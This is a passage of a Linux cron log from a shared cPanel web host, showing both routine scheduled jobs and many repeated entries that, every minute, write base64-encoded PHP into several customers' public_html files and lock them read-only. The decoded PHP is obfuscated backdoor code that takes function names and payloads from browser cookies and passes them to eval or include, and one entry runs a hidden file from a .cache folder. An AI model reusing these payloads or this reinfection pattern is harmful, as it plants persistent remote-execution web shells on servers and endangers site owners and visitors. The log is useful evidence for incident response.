UT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:46:01 medusa CROND[16233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:46:01 medusa CROND[16234]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:46:01 medusa CROND[16244]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:46:01 medusa CROND[16245]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:46:01 medusa CROND[16256]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:46:01 medusa CROND[16259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:46:01 medusa CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:46:01 medusa CROND[16264]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:46:01 medusa CROND[16267]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:46:01 medusa CROND[16268]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:47:01 medusa CROND[2039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:47:01 medusa CROND[2286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:47:01 medusa CROND[2288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:47:01 medusa CROND[2289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:47:01 medusa CROND[2290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:47:01 medusa CROND[2292]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:47:01 medusa CROND[2293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:47:01 medusa CROND[2296]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:47:01 medusa CROND[2298]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 13:47:01 medusa CROND[2302]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:47:01 medusa CROND[2304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:47:01 medusa CROND[2306]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:47:01 medusa CROND[2307]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:48:01 medusa CROND[18589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:48:01 medusa CROND[18604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:48:01 medusa CROND[18606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:48:01 medusa CROND[18607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:48:01 medusa CROND[18610]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:48:01 medusa CROND[18611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:48:01 medusa CROND[18612]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:48:01 medusa CROND[18613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hv